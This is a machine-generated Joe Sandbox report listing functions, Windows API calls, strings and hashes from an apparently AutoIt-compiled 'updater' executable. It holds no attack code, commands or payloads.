Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: ffd52b405eacd60a691645a45d6e2b98b8f7bdf673c805a11d02c748f8513cec
Instruction ID: 6cfd8a068a3a7a7cf991ff418fcf194a0e8acc82291c31efc5144f14069b74fe
Opcode Fuzzy Hash: ffd52b405eacd60a691645a45d6e2b98b8f7bdf673c805a11d02c748f8513cec
Instruction Fuzzy Hash: 1E11B631A40119F9D720A765CC8AEFF7BBCEBD3B50F4008797411E21E1EE605D85C5A1

Function 00C14C0C Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00C14C27
gethostname.WSOCK32(?,00000100), ref: 00C14C41
gethostbyname.WSOCK32(?), ref: 00C14C4E
_wcscpy.LIBCMT ref: 00C14C76
_memmove.LIBCMT ref: 00C14C89
inet_ntoa.WSOCK32(?), ref: 00C14C94
_strcat.LIBCMT ref: 00C14CA2
_wcscpy.LIBCMT ref: 00C14CB9
WSACleanup.WSOCK32 ref: 00C14CC7
_wcscpy.LIBCMT ref: 00C14CD5

Strings

0.0.0.0, xrefs: 00C14C70

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: 7cd2046fed820f8809415dfca6f1a053f3081ae7002cf0f6499a533d296bef39
Instruction ID: 01c39eb4aa7af6e653c1452b4d3ea7b1290f6f0796d462d637719b9550430b0d
Opcode Fuzzy Hash: 7cd2046fed820f8809415dfca6f1a053f3081ae7002cf0f6499a533d296bef39
Instruction Fuzzy Hash: A6113631904108ABCB24BB649D4AFEEB7BCEF42710F1001B6F50496292FF709AC19AA0

Function 00C15530 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00C15535

Part of subcall function 00BD0859: timeGetTime.WINMM(?,00000002,00BBC22C), ref: 00BD085D

Sleep.KERNEL32(0000000A), ref: 00C15561
EnumThreadWindows.USER32(?,Function_000654E3,00000000), ref: 00C15585
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00C155A7
SetActiveWindow.USER32 ref: 00C155C6
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00C155D4
SendMessageW.USER32(00000010,00000000,00000000), ref: 00C155F3
Sleep.KERNEL32(000000FA), ref: 00C155FE
IsWindow.USER32 ref: 00C1560A
EndDialog.USER32(00000000), ref: 00C1561B

Strings

BUTTON, xrefs: 00C15599

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 615a5cf4142a848ba55acf52268d17e28ba3f154f255a342adce040806804772
Instruction ID: 047de8884a820969c491bc634e8a554b18e77f0e4d408c05779189a5039b56d5
Opcode Fuzzy Hash: 615a5cf4142a848ba55acf52268d17e28ba3f154f255a342adce040806804772
Instruction Fuzzy Hash: EE21A478684645EFF7805B60EC8DBAD3B6AFB86385F101028FA1981271EF714DD4AB61

Function 00C1DBD0 Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB4D37: __itow.LIBCMT ref: 00BB4D62
Part of subcall function 00BB4D37: __swprintf.LIBCMT ref: 00BB4DAC

CoInitialize.OLE32(00000000), ref: 00C1DC2D
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00C1DCC0
SHGetDesktopFolder.SHELL32(?), ref: 00C1DCD4
CoCreateInstance.OLE32(00C43D4C,00000000,00000001,00C6B86C,?), ref: 00C1DD20
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00C1DD8F
CoTaskMemFree.OLE32(?,?), ref: 00C1DDE7
_memset.LIBCMT ref: 00C1DE24
SHBrowseForFolderW.SHELL32(?), ref: 00C1DE60
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00C1DE83
CoTaskMemFree.OLE32(00000000), ref: 00C1DE8A
CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 00C1DEC1
CoUninitialize.OLE32(00000001,00000000), ref: 00C1DEC3

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: 51b82eeeba2ab4d0c485bb3ef7183e6db2d60f33a715dcbd2e645a3a8c3c3abc
Instruction ID: 55b6cbc25dbd4680c2ee690afb7fcdbdcb90b159dcd01d843b29838df1458dcf
Opcode Fuzzy Hash: 51b82eeeba2ab4d0c485bb3ef7183e6db2d60f33a715dcbd2e645a3a8c3c3abc
Instruction Fuzzy Hash: 3AB10D75A00109AFDB14DF64C898EAEBBF9FF49304B108499F906EB251DB30EE41DB50

Function 00C1081B Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00C10896
SetKeyboardState.USER32(?), ref: 00C10901
GetAsyncKeyState.USER32(000000A0), ref: 00C10921
GetKeyState.USER32(000000A0), ref: 00C10938
GetAsyncKeyState.USER32(000000A1), ref: 00C10967
GetKeyState.USER32(000000A1), ref: 00C10978
GetAsyncKeyState.USER32(00000011), ref: 00C109A4
GetKeyState.USER32(00000011), ref: 00C109B2
GetAsyncKeyState.USER32(00000012), ref: 00C109DB
GetKeyState.USER32(00000012), ref: 00C109E9
GetAsyncKeyState.USER32(0000005B), ref: 00C10A12
GetKeyState.USER32(0000005B), ref: 00C10A20

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: cebc8135f8095e313484dd3d852963fe2676d2c403418a8fc325d25cfc008d81
Instruction ID: dd834035ef0abdead6bc8b98bc923d9836ae5b749d7634ebd2ec5d3a60fc05ec
Opcode Fuzzy Hash: cebc8135f8095e313484dd3d852963fe2676d2c403418a8fc325d25cfc008d81
Instruction Fuzzy Hash: BE51BA24A0878819FB35EBA044117EABFB49F03780F18859D99D2571C3DAE49BCCE791

Function 00C0CE00 Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00C0CE1C
GetWindowRect.USER32(00000000,?), ref: 00C0CE2E
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 00C0CE8C
GetDlgItem.USER32(?,00000002), ref: 00C0CE97
GetWindowRect.USER32(00000000,?), ref: 00C0CEA9
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 00C0CEFD
GetDlgItem.USER32(?,000003E9), ref: 00C0CF0B
GetWindowRect.USER32(00000000,?), ref: 00C0CF1C
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00C0CF5F
GetDlgItem.USER32(?,000003EA), ref: 00C0CF6D
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00C0CF8A
InvalidateRect.USER32(?,00000000,00000001), ref: 00C0CF97

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 98523620147f777f48bbaa334ee3574cf53b15cfbd74a9edc8c3ac866acf2074
Instruction ID: 7a45dc9467d7064e15a15a3d9c459bb0c7a715b6b23578c1a7f3710bc450b03b
Opcode Fuzzy Hash: 98523620147f777f48bbaa334ee3574cf53b15cfbd74a9edc8c3ac866acf2074
Instruction Fuzzy Hash: E7514375B40205AFDB14CFA8CD85BADBBB6FB88710F148229FA16D62D0D7709D00CB50

Function 00BB23F7 Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB1F1D: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00BB2412,?,00000000,?,?,?,?,00BB1AA7,00000000,?), ref: 00BB1F76

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00BB24AF
KillTimer.USER32(00000024,?,?,?,?,00BB1AA7,00000000,?,?,00BB1EBE,?,?), ref: 00BB254A
DestroyAcceleratorTable.USER32(00000000), ref: 00BEBFE7
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00BB1AA7,00000000,?,?,00BB1EBE,?,?), ref: 00BEC018
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00BB1AA7,00000000,?,?,00BB1EBE,?,?), ref: 00BEC02F
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00BB1AA7,00000000,?,?,00BB1EBE,?,?), ref: 00BEC04B
DeleteObject.GDI32(00000000), ref: 00BEC05D

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 681da673625edac17868447340e1aec8a698093b4f31c14111d818a22f4e1374
Instruction ID: 3f273d2c1db8c6195cb5e1125fd830564a3b61f334f1a20677bfaf1e9b4108fc
Opcode Fuzzy Hash: 681da673625edac17868447340e1aec8a698093b4f31c14111d818a22f4e1374
Instruction Fuzzy Hash: A161BC31114604DFDB359F19CD88B7A7BF1FB40312F208AACE54A5AAA0C7B1A891DF91

Function 00BB2581 Relevance: 18.1, APIs: 12, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 00BB29AB: GetWindowLongW.USER32(?,000000EB), ref: 00BB29BC

GetSysColor.USER32(0000000F), ref: 00BB25AF

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: f0ee51833f61ae42573a32d0ce73e23128c2d4773ec84cc03cc356cd6076414c
Instruction ID: d84878a9c0f5693ac0a753e2b82265ef495ed9f83b7625e10f47cfbfad25818a
Opcode Fuzzy Hash: f0ee51833f61ae42573a32d0ce73e23128c2d4773ec84cc03cc356cd6076414c
Instruction Fuzzy Hash: 5141A535104144AFDB255F28DC88BFD3BA5FB1A331F2942A5FE668A1E5D7708C42DB21

Function 00BC29BE Relevance: 18.0, APIs: 4, Strings: 6, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 00BD0B8B: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00BC2A3E,?,00008000), ref: 00BD0BA7

Part of subcall function 00BD0284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00BC2A58,?,00008000), ref: 00BD02A4

SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00BC2ADF
SetCurrentDirectoryW.KERNEL32(?), ref: 00BC2C2C

Part of subcall function 00BC3EBE: _wcscpy.LIBCMT ref: 00BC3EF6

Part of subcall function 00BD386D: _iswctype.LIBCMT ref: 00BD3875

Strings

Bad directive syntax error, xrefs: 00C0008F
Unterminated string, xrefs: 00C000D6
AU3!, xrefs: 00BC2A93
#include depth exceeded. Make sure there are no recursive includes, xrefs: 00BFFD17
Error opening the file, xrefs: 00BFFD33, 00BFFDAA
EA06, xrefs: 00BFFD48

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 537147316-3738523708
Opcode ID: b8438ee54e7b4f4b0fea0b563a73d210c0f1eb30a80e9eef7a33deef4e2c899d
Instruction ID: 0d3c50172cb93404afb43965d088ae8aa1a5ebe94f59fa6c04e6b6de6385c6b0
Opcode Fuzzy Hash: b8438ee54e7b4f4b0fea0b563a73d210c0f1eb30a80e9eef7a33deef4e2c899d
Instruction Fuzzy Hash: 6F02AF701083419FC724EF24C891EAFBBE5EF99314F10496DF599972A2DB30DA89CB52

Function 00C1AEEA Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00C40980), ref: 00C1AF4E
GetDriveTypeW.KERNEL32(00000061,00C6B5F0,00000061), ref: 00C1B018
_wcscpy.LIBCMT ref: 00C1B042

Strings

unknown, xrefs: 00C1AFD9
ramdisk, xrefs: 00C1AFC2
cdrom, xrefs: 00C1AF6A
removable, xrefs: 00C1AF80
fixed, xrefs: 00C1AF96
network, xrefs: 00C1AFAC
all, xrefs: 00C1AF54

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-1000479233
Opcode ID: b80bdbdeb5cb9be45a0f968344bb062bbe31b6d3b96017144e1bf5bad3b7e33b
Instruction ID: d69bb60671d6c75cd54889cc89b2b0d963ed961476c0fb3ac799b1bdfd685f63
Opcode Fuzzy Hash: b80bdbdeb5cb9be45a0f968344bb062bbe31b6d3b96017144e1bf5bad3b7e33b
Instruction Fuzzy Hash: EF519E701183059BC710EF54C891AEEB7E5FF96300F50486EF496972A2EB70DE8ADA53

Function 00BB4D37 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 00BB4D62
__swprintf.LIBCMT ref: 00BB4DAC
__i64tow.LIBCMT ref: 00BEDB3B

Strings

True, xrefs: 00BEDAFC
0x%p, xrefs: 00BEDB1D
False, xrefs: 00BEDB03
%.15g, xrefs: 00BB4DA6

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: 8d2fd25213c086f7cad286a0e203506434774ba3376e704a9425d73b7787b310
Instruction ID: bb4c27fa7b9f048ad8367deadafd265e870769476e19a55b424571d50393a773
Opcode Fuzzy Hash: 8d2fd25213c086f7cad286a0e203506434774ba3376e704a9425d73b7787b310
Instruction Fuzzy Hash: B8419271604209ABDB24AB78D881E7AB3E8FB45300F2448EEE149D6292EBB1DD419711

Function 00C37777 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C3778F
CreateMenu.USER32 ref: 00C377AA
SetMenu.USER32(?,00000000), ref: 00C377B9
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00C37846
IsMenu.USER32(?), ref: 00C3785C
CreatePopupMenu.USER32 ref: 00C37866
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00C37893
DrawMenuBar.USER32 ref: 00C3789B

Strings

F, xrefs: 00C37887
0, xrefs: 00C37785

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0$F
API String ID: 176399719-3044882817
Opcode ID: 7626fa04047f6ab64322a3d798dffa32433a28d0cdccd564788645db1df26088
Instruction ID: f813cce83ee418d895308fdfcda4d343432c4b5dd64c9219e5ea278bd1392071
Opcode Fuzzy Hash: 7626fa04047f6ab64322a3d798dffa32433a28d0cdccd564788645db1df26088
Instruction Fuzzy Hash: C5415AB8A10209EFDB20DF64D888B9ABBF5FF49310F144129FA55A73A1D730AA10CF51

Function 00C37AE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 00C37B83
CreateCompatibleDC.GDI32(00000000), ref: 00C37B8A
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00C37B9D
SelectObject.GDI32(00000000,00000000), ref: 00C37BA5
GetPixel.GDI32(00000000,00000000,00000000), ref: 00C37BB0
DeleteDC.GDI32(00000000), ref: 00C37BB9
GetWindowLongW.USER32(?,000000EC), ref: 00C37BC3
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 00C37BD7
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 00C37BE3

Strings

static, xrefs: 00C37B1B

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: 9e34e98743aea02728a67531d235249fefc58ba49a69196ed6066b1239b4c0d3
Instruction ID: f8a46ab0248ce0d70cd7dbabb98775461816b4826d1b8cfc6f754d5c09f83750
Opcode Fuzzy Hash: 9e34e98743aea02728a67531d235249fefc58ba49a69196ed6066b1239b4c0d3
Instruction Fuzzy Hash: 37319876114218ABDF219FA4DC48FDF7B79FF0A324F210314FA65A21A0C7319820DBA0

Function 00BD7030 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BD706B

Part of subcall function 00BD8D58: __getptd_noexit.LIBCMT ref: 00BD8D58

__gmtime64_s.LIBCMT ref: 00BD7104
__gmtime64_s.LIBCMT ref: 00BD713A
__gmtime64_s.LIBCMT ref: 00BD7157
__allrem.LIBCMT ref: 00BD71AD
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00BD71C9
__allrem.LIBCMT ref: 00BD71E0
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00BD71FE
__allrem.LIBCMT ref: 00BD7215
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00BD7233
__invoke_watson.LIBCMT ref: 00BD72A4

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: f1a8c047e8f29504aad4589f782c76ed1b73a3870b2d4d8a344ebdfc9c3668e8
Instruction ID: 7412ecfb0d48ee1d090ac34cec2adb998ac83537f97a0bba5de09112e9f991a8
Opcode Fuzzy Hash: f1a8c047e8f29504aad4589f782c76ed1b73a3870b2d4d8a344ebdfc9c3668e8
Instruction Fuzzy Hash: 01710371A84756ABD7149A79CC82B9AF7E8EF01720F1442ABF514E73C1FB70DA408790

Function 00C12CCE Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C12CE9
GetMenuItemInfoW.USER32(00C77890,000000FF,00000000,00000030), ref: 00C12D4A
SetMenuItemInfoW.USER32(00C77890,00000004,00000000,00000030), ref: 00C12D80
Sleep.KERNEL32(000001F4), ref: 00C12D92
GetMenuItemCount.USER32(?), ref: 00C12DD6
GetMenuItemID.USER32(?,00000000), ref: 00C12DF2
GetMenuItemID.USER32(?,-00000001), ref: 00C12E1C
GetMenuItemID.USER32(?,?), ref: 00C12E61
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00C12EA7
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00C12EBB
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00C12EDC

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: 7109439ec62dda17a09372b8d8fc09594307286d5ac74a5b558c9c036b5ca75d
Instruction ID: f005a44040501e0ddb55585061801ceae6e74fb3ac2c4dc271f0eb68b7600a93
Opcode Fuzzy Hash: 7109439ec62dda17a09372b8d8fc09594307286d5ac74a5b558c9c036b5ca75d
